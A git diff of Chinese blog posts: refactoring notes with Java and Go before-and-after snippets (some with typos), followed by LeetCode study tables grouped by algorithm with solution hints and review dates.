+ +- 封装字段 + + > 问题: + > 有一个公共领域。 + > 解决方案: + > 将字段设为私有并为其创建访问方法 + +- 封装集合 + + > 问题: + > 一个类包含一个集合字段和一个用于处理集合的简单 getter 和 setter。 + > 解决方案: + > 将 getter 返回的值设为只读,并创建用于添加/删除集合元素的方法。 + +- 用类替换类型代码 + + > 问题: + > 一个类有一个包含类型代码的字段。该类型的值不用于操作符条件,也不影响程序的行为。 + > 解决方案: + > 创建一个新类并使用其对象而不是类型代码值。 + +- 用子类替换类型代码 + + > 问题: + > 您有一个编码类型,它直接影响每克行为(该字段的值触发条件中的各种代码)。 + > 解决方案: + > 为编码类型的每个值创建子类。然后将原始类中的相关行为提取到这些子类中。用多态替换控制流代码。 + +- 用状态/策略替换类型代码 + + > 问题: + > 您有一个影响行为的编码类型,但您不能使用子类来摆脱它。 + > 解决方案: + > 将类型代码替换为状态对象。如果需要用类型代码替换字段值,则“插入”另一个状态对象 + +## `Self Encapsulate Field` + +自封装 + +``` + +class Range { + private int low, high; + boolean includes(int arg) { + return arg >= low && arg <= high; + } +} +``` + +``` + +class Range { + private int low, high; + boolean includes(int arg) { + return arg >= getLow()&& arg <= getHigh(); + } + int getLow(){ + return low; + } + int getHigh(){ + return high; + } + +} +``` + +用对象替换数据值 + +``` +type Order struct{ + Customer string +} +``` + +``` +type Order struct{ + Customer Customer +} +type Customer struct{ + Name string +} +``` + +通过用对象替换数据值,我们有了一个原始字段(数字、字符串等),由于程序的增长,它不再那么简单,现在有了相关的数据和行为。一方面,这些领域本身并没有什么可怕的。但是,这个字段和行为系列可以同时存在于多个类中,从而创建重复的代码。 + +将值更改为引用 + +``` +type Order struct{ + Customer Customer +} +type Customer struct{ + Name string +} +``` + +``` +type Order struct{ + Customer *Customer +} +type Customer struct{ + Name string +} +``` + +将引用更改为值 + +``` +type Customer struct{ + Currency *Currency +} +type Currency struct{ + Code string +} +``` + +``` +type Customer struct{ + Currency Currency +} +type Currency struct{ + Code string +} +``` + +将数组替换为对象 + +``` + String[] row = new String[2]; + row[0] = "Liverpool"; + row[1] = "15"; +``` + +``` + Performance row = new Performance(); + row.setName("Liverpool"); + row.setWins("15"); + nn +``` + +重复观察数据 + +``` +type IntervalWindow struct{ + Textstart sting + Textend string + legth int +} +func (I *IntervalWindow) CalculateLegth(){ + +} +func (I *IntervalWindow) CalculateEnd(){ + +} +func (I *IntervalWindow) CalculateStart(){ + +} + + +``` + +``` + +type IntervalWindow struct{ + Interval Interval +} +type Interval struct{ + Start sting + End string + legth int +} + +func (I *Interval) CalculateLegth(){ + +} +func (I *Interval) CalculateEnd(){ + +} +func (I *Interval) CalculateStart(){ + +} +``` + +单向关系变为双向 + +``` +type Order struct{ + Customer *Customer +} +type Customer struct{ + Name string +} +``` + +``` +type Order struct{ + Customer *Customer +} +type Customer struct{ + Order *Order + Name string +} +``` + +变双向为单向 + +``` +type Order struct{ + Customer *Customer +} +type Customer struct{ + Order *Order + Name string +} +``` + +``` +type Order struct{ + Customer *Customer +} +type Customer struct{ + Name string +} +``` + +替换魔法 编号和符号常量 + +``` + +double potentialEnergy(double mass, double height) { + return mass * height * 9.81; +} +``` + +``` + +static final double GRAVITATIONAL_CONSTANT = 9.81; + +double potentialEnergy(double mass, double height) { + return mass * height * GRAVITATIONAL_CONSTANT; +} +``` + +封装数组 + +``` +type Teacher struct{ + PersonList []Person +} +type Person struct{ + Name string +} + +``` + +``` +type Teacher struct{ + PersonList []Person +} +func (t *Teacher) Getter(index int){ + return t.PersonList[index] +} +func (t *Teacher) Setter(p Person , i int){ + t.PersonList[i]=p +} +type Person struct{ + Name string +} +``` + +类型 + +``` +type Teacher struct{ + O int + B int + C int + AB int +} + +``` + +``` +type Teacher struct{ + O Bloodgroup + B Bloodgroup + C Bloodgroup + AB Bloodgroup +} +type Bloodgroup int +``` + +有些字段无法被验证,由 IDE 检查类型。 + +用子类替换类型代码 + +``` +type Empployee struct{ + engineer int + salesman int +} +``` + +``` +type Empployee struct{ + Engineer Engineer + Salesman Salesman +} +type Engineer struct{ + Id int +} +type Salesman struct{ + Id int +} +``` + +用状态代替类型代码 + +``` +type Empployee struct{ + Engineer Engineer + Salesman Salesman +} +type Engineer struct{ + Id int +} +type Salesman struct{ + Id int +} +``` + +``` +type Empployee EmpployeeType +type EmpployeeType struct{ + Engineer Engineer + Salesman Salesman +} +type Engineer struct{ + Id int +} +type Salesman struct{ + Id int +} +``` + +用字段替换子类 + +``` +type Person struct{ + Male *Male + FeMale *FeMale +} +func (p *Person)GetCode(){ + +} + +type Male struct{ +} +func (p *Male)GetName()string{ + return "M" +} + +type FeMale struct{ +} +func (p *FeMale)GetName()string{ + return "F" +} +``` + +``` +type Person struct{ + code string + +} +func (p *Person)GetCode(){ + +} + +``` + +## `Simplifying Conditional Expressions` + +> 问题: +> 您有一个复杂的条件( if‑then / else或switch )。 +> 解决方案: +> 将条件的复杂部分分解为单独的方法:条件,然后和其他。 + +> 问题: +> 您有多个导致相同结果或操作的条件。 +> 解决方案: +> 将所有这些条件合并到一个表达式中 + +> 问题: +> 在所有分支中都可以找到相同的代码有条件的。 +> 解决方案: +> 将代码移到条件之外。 + +> 问题: +> 您有一个用作控件的布尔变量多个布尔表达式的标志。 +> 解决方案: +> 代替变量,使用break, continue 和return。 + +> 问题: +> 有一组嵌套条件,这很难,,来确定代码执行的正常流程。 +> 解决方案: +> 将所有特殊检查和边缘情况隔离到单独的子句中,并将它们放在主要检查之前。理想的盟友,应该有一个“平坦”的条件列表,一个接一个,另一个。 + +> 问题: +> 您有一个执行各种操作的条件,取决于对象类型或属性。 +> 解决方案: +> 创建与**条件分支匹配的子类**。在其中,创建一个共享方法并从条件的相应分支。然后更换 +> 带有相关方法调用的条件。结果是正确的实现将通过多态性获得,具体取决于对象类 + +> 问题: +> 由于某些方法返回null而不是 real,对象,您在代码中对null进行了许多检查。 +> 解决方案: +> 而不是null, 返回一个展示的空对象.默认行为。 + +> +> 问题: +> 要让一部分代码正常工作,某些条件或值必须为真。 +> 解决方案: +> 用特定的断言替换这些假设检查。 + +## `Decompose Conditional` + +``` +if (date.before(SUMMER_START) || date.after(SUMMER_END)) { + charge = quantity * winterRate + winterServiceCharge; +} +else { + charge = quantity * summerRate; + } +``` + +``` +if (isSummer(date)) { + charge = summerCharge(quantity); +} + else { + charge = winterCharge(quantity); +} +``` + + + +``` +double disabilityAmount() { +if (seniority < 2) { + return 0; + } + if (monthsDisabled > 12) { + return 0; + } + if (isPartTime) { + return 0; + } + // Compute the disability amount. + // ...nn +} +``` + +``` +double disabilityAmount() { + if (isNotEligableForDisability()) { + return 0; + nn} + // Compute the disability amount. + // ... +} +``` + + + +``` +if (isSpecialDeal()) { + total = price * 0.95; + send(); +} +else { + total = price * 0.98; + send(); +} +``` + +``` + +if (isSpecialDeal()) { + total = price * 0.95; +} + else { + total = price * 0.98; + } + nsend(); +``` + + + +``` +break: stops loop +continue: stops execution of the current loop branch and +goes to check the loop conditions in the next iteration +return: stops execution of the entire function and returns its +result if given in the operator +``` + + + +## `Replace Nested Conditional with Guard Clauses` + +``` + +public double getPayAmount() { + double result; + if (isDead){ + result = deadAmount(); + }else { + if (isSeparated){ + result = separatedAmount(); + }else { + if (isRetired){ + r esult = retiredAmount(); + }else{ + result = normalPayAmount(); + } + } + } + return result +} +``` + +``` +public double getPayAmount() { + if (isDead){ + return deadAmount(); + } + if (isSeparated){ + return separatedAmount(); + } + if (isRetired){ + return retiredAmount(); + } + return normalPayAmount(); +} +``` + + + +## `Replace Conditional with Polymorphism` + +``` +class Bird { + // ... + double getSpeed() { + switch (type) { + case EUROPEAN: + return getBaseSpeed(); + case AFRICAN: + return getBaseSpeed() - getLoadFactor() * numberOfCoconuts; + case NORWEGIAN_BLUE: + return (isNailed) ? 0 : getBaseSpeed(voltage); + + } + throw new RuntimeException("Should be unreachable"); + } +} +``` + diff --git a/_posts/2022-09-06-test-markdown.md b/_posts/2022-09-06-test-markdown.md new file mode 100644 index 000000000000..6bc2773bd209 --- /dev/null +++ b/_posts/2022-09-06-test-markdown.md @@ -0,0 +1,239 @@ +### 滑动窗口 + +### 二分 + +| 题目 | 类别 | 难度 | 难点 | 上次复习时间 | +| ---- | -------- | ---- | ---- | :----------: | +| 3 | 滑动窗口 | mid | | | +| 76 | 二分 | mid | | | +| 209 | 二分 | mid | | | +| 438 | 二分 | mid | | | +| 904 | 二分 | mid | | | +| 930 | 二分 | mid | | | +| 992 | 二分 | mid | | | +| 978 | | | | | +| 1004 | | | | | +| 1234 | | | | | +| 1658 | | | | | +| | | | | | + + + + + +### 二分 + +| 题号 | 类别 | 难度 | 题目 | 上次复习时间 | +| ---- | ----------------- | ---- | ------------------------------------------------------------ | :----------: | +| 154 | 二分 | hard | | | +| 153 | 二分 | mid | | | +| 34 | 二分 | mid | 排序数组查找元素的第一个和最后一个位置 | 4.12 | +| 35 | 二分 | mid | | | +| 189 | 二分 | mid | | | +| 81 | 二分 | mid | | | +| 33 | 二分 | mid | | 4.11 | +| 658 | 二分/定长滑动窗口 | mid | 找到k个最接近的元素 | 4.12 | +| 162 | 二分 | mid | 寻找峰值 | 4.11 | +| 278 | 二分 | mid | 第一个错误的版本 | 4.11 | +| 374 | 二分 | mid | | 4.11 | +| 69 | 二分 | mid | x的平方根 | 4.11 | +| 704 | 二分 | mid | 二分查找 | 4.11 | +| 875 | 二分 | mid | 爱吃⾹蕉的珂珂 | 4.12 | +| 475 | 二分 | mid | [供暖器](https://leetcode.cn/problems/heaters/) | 4.12 | +| 1708 | 二分+贪心 | mid | [面试题 17.08. 马戏团人塔](https://leetcode.cn/problems/circus-tower-lcci/) | 4.13 | + + + + + +### 双指针 + +| 题目 | 题目 | 类别 | 难点 | ****上次复习时间 | +| ---- | ------------------------------------------------------------ | ------------------------------------------------------------ | ---- | ---------------- | +| 80 | [ 删除有序数组中的重复项 II](https://leetcode.cn/problems/remove-duplicates-from-sorted-array-ii/) | 快慢指针 | | 4.13 | +| 287 | [287. 寻找重复数](https://leetcode.cn/problems/find-the-duplicate-number/) | 快慢之争/Floyd Circle | | 4.13 | +| 1 | [1. 两数之和](https://leetcode.cn/problems/two-sum/) | 左右指针夹逼 | | 4.13 | +| 1304 | [1304. 和为零的 N 个不同整数](https://leetcode.cn/problems/find-n-unique-integers-sum-up-to-zero/) | 左右指针成对出现,向中间夹逼 | | 4.13 | +| 7 | [剑指 Offer II 007. 数组中和为 0 的三个数](https://leetcode.cn/problems/1fGaJU/) | 一个left用来遍历,主要是mid 和 right指针负责缩小解空间 | | 4.13 | +| 16 | [16. 最接近的三数之和](https://leetcode.cn/problems/3sum-closest/) | 左右指针向中间夹逼 | | 4.14 | +| 977 | [977. 有序数组的平方](https://leetcode.cn/problems/squares-of-a-sorted-array/) | 左右指针向中间夹逼+临时空间存储 | | 4.14 | +| 713 | [713. 乘积小于 K 的子数组](https://leetcode.cn/problems/subarray-product-less-than-k/) | 满足某个条件就右移right指针,然后不满足条件就是右移left指针(直到不满足条件) | | 4.14 | +| 881 | [881. 救生艇](https://leetcode.cn/problems/boats-to-save-people/) | 排好序的数组,可以用两个指针分别指着最前端和最后端,如果两个数加起来都会比limit小,那这一队数绝对是最优的一种组合了.如果是大于的话,那就将大的那个数单独放在一艘游艇上,数更小的那个不要动,这个是因为小的可以和别的数子凑合,但是大的数一定是要单独一艘船的。 | | 4.14 | +| 26 | [26. 删除有序数组中的重复项](https://leetcode.cn/problems/remove-duplicates-from-sorted-array/) | 快慢指针 | | 4.15 | +| 141 | [141. 环形链表](https://leetcode.cn/problems/linked-list-cycle/) | 快慢指针 | | 4.15 | +| 142 | [142. 环形链表 II](https://leetcode.cn/problems/linked-list-cycle-ii/) | 快慢指针 | | 4.15 | +| 287 | [287. 寻找重复数](https://leetcode.cn/problems/find-the-duplicate-number/) | 快慢指针 | | 4.15 | +| 202 | [202. 快乐数](https://leetcode.cn/problems/happy-number/) | 递归+全局记录判断是否出现过 | | 4.15 | +| 1456 | [1456. 定长子串中元音的最大数目](https://leetcode.cn/problems/maximum-number-of-vowels-in-a-substring-of-given-length/) | 固定长指针 | | 4.15 | +| 1446 | [1446. 连续字符](https://leetcode.cn/problems/consecutive-characters/) | 变长指针 | | 4.15 | +| 101 | [101. 对称二叉树](https://leetcode.cn/problems/symmetric-tree/) | 左右端点指针 | | 4.15 | +| | | | | | + + + + + +### 前缀树 + +| | | | | | +| ---- | ---- | ---- | ---- | ---- | +| | | | | | +| | | | | | +| | | | | | + + + +### 树专题 + +| 题目 | 方法 | 时间 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ---- | +| [365. 水壶问题](https://leetcode.cn/problems/water-and-jug-problem/) | DFS/BFS | 4.16 | +| [886. 可能的二分法](https://leetcode.cn/problems/possible-bipartition/) | 图建立/图遍历/图递归遍历和迭代遍历。⼀个好⽤的技巧是使⽤ -1 和 1 来记录⽅向,这样我们就可以通过乘以 -1 得到另外⼀个⽅向 | 4.16 | +| [785. 判断二分图](https://leetcode.cn/problems/is-graph-bipartite/) | 不是连通图需要对每个点都去DFS。思路是;如果没有Clored被访问就DFS,如果被访问,判断邻居节点和当前节点颜色是否相等,如果相等就返回false | 4.16 | +| [99. 恢复二叉搜索树](https://leetcode.cn/problems/recover-binary-search-tree/) | 中序遍历可以记录全局的前躯节点,然后两两比较, | 4.17 | +| [222. 完全二叉树的节点个数](https://leetcode.cn/problems/count-complete-tree-nodes/) | BFS 解决 | 4.17 | +| [124. 二叉树中的最大路径和](https://leetcode.cn/problems/binary-tree-maximum-path-sum/) | 双递归/max(left,0)+max(right,0)+root.Val | 4.17 | +| [113. 路径总和 II](https://leetcode.cn/problems/path-sum-ii/) | `res[][]int`存储的是对`path[]int`的引用,在递归的时候path被改变,那么最后的结果不正确。 | 4.18 | +| [863. 二叉树中所有距离为 K 的结点](https://leetcode.cn/problems/all-nodes-distance-k-in-binary-tree/) | `findLCA` 寻找公共祖先+`fatherMap[son]father` +`depth(i)i!=nil d++`得到深度 | 4.18 | +| [563. 二叉树的坡度](https://leetcode.cn/problems/binary-tree-tilt/) | 双递归 | 4.18 | +| [面试题 04.12. 求和路径](https://leetcode.cn/problems/paths-with-sum-lcci/) | 求和路径 | 4.18 | +| [1022. 从根到叶的二进制数之和](https://leetcode.cn/problems/sum-of-root-to-leaf-binary-numbers/) | 左移动`*2` / 右移`/2` | 4.18 | +| | | | + +### 图专题 + + + +| 题目 | 方法 | 时间 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ---- | +| [547. 省份数量](https://leetcode.cn/problems/number-of-provinces/) | 标准遍历-图的遍历 | 4.18 | +| [802. 找到最终的安全状态](https://leetcode.cn/problems/find-eventual-safe-states/) | 递归超时/反向图+出度 | 4.20 | +| [841. 钥匙和房间](https://leetcode.cn/problems/keys-and-rooms/) | 判断是不是一棵树 | | +| [1129. 颜色交替的最短路径](https://leetcode.cn/problems/shortest-path-with-alternating-colors/) | `BFS` 队列+`len(queue)`,然后不断取出这k个节点。 | | +| [329. 矩阵中的最长递增路径](https://leetcode.cn/problems/longest-increasing-path-in-a-matrix/) | `BFS+DP` `DP`用来计算以某个点结尾的最长递增的长度 | 4.27 | +| [1042. 不邻接植花](https://leetcode.cn/problems/flower-planting-with-no-adjacent/) | `BFS+全局染色存储+从未被染色的节点开始+双向边+存在孤立节点` | 4.27 | +| [207. 课程表](https://leetcode.cn/problems/course-schedule/) | 拓扑排序+从入度为0的点开始 | 4.27 | +| [743. 网络延迟时间](https://leetcode.cn/problems/network-delay-time/) | 最短路径问题 核心:`dis[]记录起点到每个点的最短的距离,并把节点入队列,堆队列排序,取出距离最小的点,去判断这个点再到它的邻接点的距离,。` `一个集合 dis 来记录起点 s 到各个节点的最短路径长度` `一个优先队列或堆来维护当前还未处理的节点` `每次从堆中取出时间最小的点正好符合上述的要求,因为该节点距离起点 s 最近,并且它的最短路径长度已经被确定,可以作为最终结果之一` Dijkstra | 4.27 | +| 1063 | 最短路径问题 | | +| 1135 | 最小生成树问题 | | +| 1584 | 最小生成树问题 | | +| [1319. 连通网络的操作次数](https://leetcode.cn/problems/number-of-operations-to-make-network-connected/) | 如果边少于n-1不能连通。最开始默认n个点就是个n个独立的集合。每连通两个点,group--最后的答案是group-1。 `groupNum` 表示当前图中的连通分量数,最终结果就是将所有的连通分量合并为一。在添加第一条边时,就可以将两个连通分量合并为一个,因此连通分量数减 1。假设有以下 4 个节点,它们之间的边还未建立:初始状态下,这 4 个节点分别处于独立的连通分量中。因此 `groupNum` 的初始值为 4。为了将所有连通分量合并成一个,需要建立 3 条边。具体来说: 首先连接节点 1 和节点 2,这时候它们就连通了,剩余连通分量数量减少 1,也就是 `groupNum` 减少 1,此时 `groupNum` 的值为 3。 然后连接节点 3 和节点 4,同样地,它们也连通了,此时 `groupNum` 的值减少到 2。 最后连接连通分量 1 和连通分量 2 即可,此时 `groupNum` 的值变成了 1,所有连通分量都已经被合并成了一个。 | 5.4 | + + + + + +### 最短路径问题 + +| 题目 | 方法 | 时间 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ---- | +| [127. 单词接龙](https://leetcode.cn/problems/word-ladder/) | `BFS+hashMap存储单词可以构成的状态` | 4.21 | +| [200. 岛屿数量](https://leetcode.cn/problems/number-of-islands/) | `BFS+visted[][]bool` | 4.21 | +| [279. 完全平方数](https://leetcode.cn/problems/perfect-squares/) | `BFS减枝优化`+`DP动态规划` | 4.21 | +| [542. 01 矩阵](https://leetcode.cn/problems/01-matrix/) | `BFS从终点出发遍历,感觉像染色`那么其他点到终点的距离就是`res[cur.x][cur.y-1] = res[cur.x][cur.y] + 1 ` `0-1-1-1-1`和802一样都是从终点开始.[802. 找到最终的安全状态](https://leetcode.cn/problems/find-eventual-safe-states/) | 4.21 | +| | | | +| [752. 打开转盘锁](https://leetcode.cn/problems/open-the-lock/) | `BFS+HasMap`和127单词接龙有点类似,都是寻找某个状态对应的邻居状态,这么才能寻找到下一个需要注意的是一次只能转动一个,顺时针转+1,逆时针转+9。773 | 4.21 | +| [773. 滑动谜题](https://leetcode.cn/problems/sliding-puzzle/) | `BFS+node.status +node.step+visited[string]bool` | 4.21 | +| [207. 课程表](https://leetcode.cn/problems/course-schedule/) | `BFS+nodeInDegreeMap 统计儿子节点的入度+构建邻接表+遍历visitedMap判断存不存在某个节点没有被访问 ` | 4.22 | +| [210. 课程表 II](https://leetcode.cn/problems/course-schedule-ii/) | | | + + + +### 启发式搜索 + +| 题目 | 关键点/难点 | 时间 | +| ---- | ----------- | ---- | +| 1239 | | | +| 1723 | | | +| 127 | | | +| 752 | | | + + + + + +### 堆 + +| 题目 | 关键点/难点 | 时间 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ---- | +| [1046. 最后一块石头的重量](https://leetcode.cn/problems/last-stone-weight/) | 不断的寻找最小的数,与原来未排序的进行合并。 | 4.30 | +| [313. 超级丑数](https://leetcode.cn/problems/super-ugly-number/) | `10 可以分解为 2 和 5 的乘积,因此它的质因数是 2 和 5;而 12 可以分解为 2、2 和 3 的乘积` 最小堆`container/heap` | 4.30 | +| [295. 数据流的中位数](https://leetcode.cn/problems/find-median-from-data-stream/) | 维护最大堆和最小堆栈,往最小堆添加元素的情况,最小堆元素个数为0,元素>最小堆顶部元素,否则就往最大堆添加元素。 | 5.1 | +| [857. 雇佣 K 名工人的最低成本](https://leetcode.cn/problems/minimum-cost-to-hire-k-workers/) | 按照ratio从小到大,以每个ratio为基准,计算K个工人(按照质量排好序)的堆,计算总的花费。 | | +| [649. Dota2 参议院](https://leetcode.cn/problems/dota2-senate/) | | | +| [1654. 到家的最少跳跃次数](https://leetcode.cn/problems/minimum-jumps-to-reach-home/) | | | + + + +### 多路归并 + +| 题目 | 关键点/难点 | 时间 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ---- | +| [264. 丑数 II](https://leetcode.cn/problems/ugly-number-ii/) | 定义指针数组,然后都代表某个因数的指针被使用填充结果数组的一个数,那么就移动该因数指针。1-起始先将最小丑数1 放入队列。2-每次从队列取出最小值x ,然后将 x 所对应的丑数 2x 、3x 和 5x 进行入队 3-对步骤 2 循环多次,第 n 次出队的值即是答案。4-防止同一丑数多次进队,我们需要使用数据结构 Set 来记录入过队列的丑数。往后产生的丑数」都是基于「已有丑数」而来(使用「已有丑数」乘上「质因数」2 、3 、5 )。 | | +| [313. 超级丑数](https://leetcode.cn/problems/super-ugly-number/) | 定义指针数组,然后都代表某个因数的指针被使用填充结果数组的一个数,那么就移动该因数指针。1-所有丑数的有序序列为 a1,a2,a3,...,an由以下三个有序序列合并而来:丑数 * 2 所得的有序序列`1*2 2*2 3*2 4*2 5*2 ` 丑数 * 3 所得的有序序列`1*3 2*3 3*3 4*3 ` 丑数 * 5 所得的有序序列`1*5 2*5 3*5 4*5` 使用三个指针来指向目标序列 arr的某一位下标,p2 ,p3 p5代表三个有序队列当前各自到了自己序列的哪个位置。 | | +| [786. 第 K 个最小的素数分数](https://leetcode.cn/problems/k-th-smallest-prime-fraction/) | 找到以每个元素为分母的链表,把,每个元素都放入到小顶堆里面,不断的弹出元素,直到第K个元素。 | 5.2 | +| [1508. 子数组和排序后的区间和](https://leetcode.cn/problems/range-sum-of-sorted-subarray-sums/) | 前缀和,把结果放入堆,然后弹出小的数 | 5.5 | +| [719. 找出第 K 小的数对距离](https://leetcode.cn/problems/find-k-th-smallest-pair-distance/) | 某个mid D1对应K个,还要继续往左找直到mid D2对应K个 | 5.2 | +| [1439. 有序矩阵中的第 k 个最小数组和](https://leetcode.cn/problems/find-the-kth-smallest-sum-of-a-matrix-with-sorted-rows/) | 放入小顶堆的是`node{pointer []int sum int}`其中`node.pointer 保存着每一行取出数字的列坐标,知道列坐标和行坐标就可以知道新加入的数字和旧的被剪去的数字。` | 5.2 | +| [373. 查找和最小的 K 对数字](https://leetcode.cn/problems/find-k-pairs-with-smallest-sums/) | 放入小顶堆的是`node{pointer []int sum int}`其中`node.pointer 保存着每一行取出数字的列坐标,知道列坐标和行坐标就可以知道新加入的数字和旧的被剪去的数字。` `set`记录的是被访问过的坐标,那么其中`set[key]bool` key 是`[2]int 类型` | 5.2 | +| [632. 最小区间](https://leetcode.cn/problems/smallest-range-covering-elements-from-k-lists/) | 维持大小为K的堆,堆的最大值,靠新加入节点的值与堆的最大值不断比较。初始状态的最大值可以求出,然后最小的节点的值,不断被弹出,距离的最小值,不断更新大小为K的堆中元素大小的区间。 | 5.3 | +| [1675. 数组的最小偏移量](https://leetcode.cn/problems/minimize-deviation-in-array/) | 思路:维护最堆和堆的最小值。最开始处理的时候,把所有的奇数都乘以2加入到堆里面。偶数直接加入堆。对堆不断的除以2,直到堆顶为奇数。奇数只能乘一次2,偶数可以多次除以2,直到变成一个奇。操作时有限的。相当于数组的每个元素都是一个链表:`1 2 3 4` `1代表1-2-4-8` `2代表2-1` `3代表3-6-12` `4代表4-2-1` | 5.3 | +| [871. 最低加油次数](https://leetcode.cn/problems/minimum-number-of-refueling-stops/) | 把终点当作一个加油站加入到数组,然后找到终点应该存在的位置,在循环中,不断的判断当前知否能到达下一站,如果能到达下一站,那么就消耗富有,如果不能到达下一站就不断的弹出历史中的加油站台,加油直到可以到达下一站。**事后诸葛** | 5.4 | +| [1488. 避免洪水泛滥](https://leetcode.cn/problems/avoid-flood-in-the-city/) | 把晴天入队列,记录晴天是第几天,把雨天入MAP记录改天是在往哪个湖加水,并且给湖加水的日期,因为,找到的晴天必须是该湖填完水之后。**事后诸葛** | 5.4 | +| [973. 最接近原点的 K 个点](https://leetcode.cn/problems/k-closest-points-to-origin/) | 最小堆 | 5.4 | +| [347. 前 K 个高频元素](https://leetcode.cn/problems/top-k-frequent-elements/) | 最小堆 | 5.4 | +| [剑指 Offer 40. 最小的k个数](https://leetcode.cn/problems/zui-xiao-de-kge-shu-lcof/) | 最小堆 | 5.4 | +| | | | + +合并 `n` 个有序链表极其相似 + + + + + + + +### Kruskal + +| 题目 | 关键点/难点 | 时间 | +| ------------------------------------------------------------ | ----------- | ---- | +| [1584. 连接所有点的最小费用](https://leetcode.cn/problems/min-cost-to-connect-all-points/) | | | +| [1319. 连通网络的操作次数](https://leetcode.cn/problems/number-of-operations-to-make-network-connected/) | 连通个数-1 | 5.4 | +| | | | +| | | | + + + +### Dijkstra + +| 题目 | 关键点/难点 | 时间 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ---- | +| [1631. 最小体力消耗路径](https://leetcode.cn/problems/path-with-minimum-effort/) | | | +| [1654. 到家的最少跳跃次数](https://leetcode.cn/problems/minimum-jumps-to-reach-home/) | BFS解决的最短路径问题A是向前跳。B是向后跳。上一步是往后跳而且再往后跳会跳到 forbidden 数组中的位置,则不能再往后跳。记录同一种状态是否被访问过,被访问过的则不在加入 | 5.6 | +| [1631. 最小体力消耗路径](https://leetcode.cn/problems/path-with-minimum-effort/) | 定义全局记录着起点每个点的最小的消耗,只有在小于全局的这个值的时候,才会把他放入到队列中间,上下左右四个方向就相当于是图中的邻居,邻居A与B只有在小于全局Dis[B]的情况下,才会被加入到堆中 | 5.6 | +| | | | + + + + + + + +### 贪心问题 + +| 题目 | | | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ---- | +| [435. 无重叠区间](https://leetcode.cn/problems/non-overlapping-intervals/) | 按照结束时间从小到大排序,快慢指针用来判断是第二个起始时间小于第一个结束时间,如果是大于等于`left=right`而不是`left=left+1` | 5.5 | +| [455. 分发饼干](https://leetcode.cn/problems/assign-cookies/) | 孩子的胃口从小到大,饼干的尺寸从小到大 | 5.4 | +| [45. 跳跃游戏 II](https://leetcode.cn/problems/jump-game-ii/) | 汽车加油问题,**统计边界范围内,哪一格能跳得更远,统计下一步的最优情况,如果到达了边界,那么一定要跳了,下一跳的边界下标就是之前统计的最优情况maxPosition,并且步数加1** | 5.7 | +| [55. 跳跃游戏](https://leetcode.cn/problems/jump-game/) | 在这个过程中,贪心的思想体现在每一步决策上。我们从第一个位置开始,计算出当前位置所能到达的最远距离,即`maxJump`。然后看下一个位置能否到达这个`maxJump`,如果可以,就更新`maxJump`为新位置所能到达的最远距离;如果不能到达,直接返回`false`。 | 5.7 | +| [1306. 跳跃游戏 III](https://leetcode.cn/problems/jump-game-iii/) | DFS | 5.7 | +| [1345. 跳跃游戏 IV](https://leetcode.cn/problems/jump-game-iv/) | indexMap[arr[cur.index]] 中存储了值为 arr[cur.index] 的数在原数组中出现的所有下标,也就是从当前节点可以直接跳转到的所有节点。每当我们遍历完所有从当前节点可以抵达的节点的时候,将这些节点的下标从 `indexMap[val]` 中移除,以保证后续的遍历不会重复访问已经访问过的节点。BFS+贪心 | 5.7 | +| [1340. 跳跃游戏 V](https://leetcode.cn/problems/jump-game-v/) | 动态规划,得到高度从小到大的序号,依次访问这些序号,并且判断旁边的邻居是否比自己小或者右边的邻居是否比自己小,小就更新该位置最多可以访问的下标。如何得到从小到大访问的序号,一个序号index[i]=i,然后就是对应的`array[index[i]] < array [index[j]]` | 5.8 | +| [1696. 跳跃游戏 VI](https://leetcode.cn/problems/jump-game-vi/) | `len(queue)>0 && DP[queue[len(queue)-1]] < DP[i]` 类似 `3 2 1 4`遇到四的时候删除前面的3 2 1都是从尾部开始删除,维护一个单调递减的index ,里面存储的是的单调递减的DP的下标 | 5.8 | +| [1871. 跳跃游戏 VII](https://leetcode.cn/problems/jump-game-vii/) | ` start := max(cur+minJump, farthest+1)`优化后的BFS可以通过 | 5.8 | +| [452. 用最少数量的箭引爆气球](https://leetcode.cn/problems/minimum-number-of-arrows-to-burst-balloons/) | *每次选择局部最优解* `points[i][1] < points[j][1]`按照左端点坐标从小到大排序。 如果当前气球的左端点小于等于 `end`,说明它与前一个气球有重叠部分,此时我们不需要增加箭的数量,因为这个区间已经被覆盖了。 如果当前气球的左端点大于 `end`,说明它与前一个气球没有重叠部分,此时我们需要增加箭的数量,将当前气球的右端点赋值给 `end`。 | 5.8 | +| [605. 种花问题](https://leetcode.cn/problems/can-place-flowers/) | 为了确保边界情况的正确性,我们需要在花坛左边、右边各增加一个未种植的位置,即 `bed = [0] + flowerbed + [0]`。这样可以保证每个位置都有前一个位置和后一个位置可以供我们检查。 | 5.8 | +| [122. 买卖股票的最佳时机 II](https://leetcode.cn/problems/best-time-to-buy-and-sell-stock-ii/) | 当前价格高于前一天价格,说明股票价格在上涨,我们就应该在前一天买入,在当前天卖出,这样可以获得当天的利润。而如果当前价格低于等于前一天价格,说明股票价格不变或者下跌,此时我们应该不进行任何操作,继续向后扫描即可 | 5.8 | +| [121. 买卖股票的最佳时机](https://leetcode.cn/problems/best-time-to-buy-and-sell-stock/) | 在买卖股票时,我们应该尽可能地以更低的价格买入,以更高的价格抛售,那么我们在遍历股票价格数组时,可以通过记录当前的最低价格来确保能够以相对较低的价格进行买入,而如果在之后的某个时间找到了更高的股票价格,我们则可以考虑抛售股票并计算利润,维护一个全局的最大利润,不断更新即可。 | 5.8 | +| [188. 买卖股票的最佳时机 IV](https://leetcode.cn/problems/best-time-to-buy-and-sell-stock-iv/) | 贪心+DP `dp[i][j] = max(dp[i][j-1], prices[j]-maxDiff)` 第i次卖出,第j天卖出获得的利润,要么是前j-1天的最大利润,要么是这次买出获得的最大的利润,那么就是这次买出的价格-历史低价。更新历史低价,历史低价是这次的买出价格-前i-1次的买出利润。第i天结束时最多完成了j次交易且手上没有股票 = 前一天也没持有股票 /前一天持有股票但在当天卖出。第i天结束时最多完成了j次交易且手上持有股票时的最大收益,可以由前一天也持有股票和前一天没有持有股票但在当天买入两种情况中取较大值得到 | 5.9 | \ No newline at end of file diff --git a/_posts/2022-10-02-test-markdown.md b/_posts/2022-10-02-test-markdown.md new file mode 100644 index 000000000000..efc7a55ca51e --- /dev/null 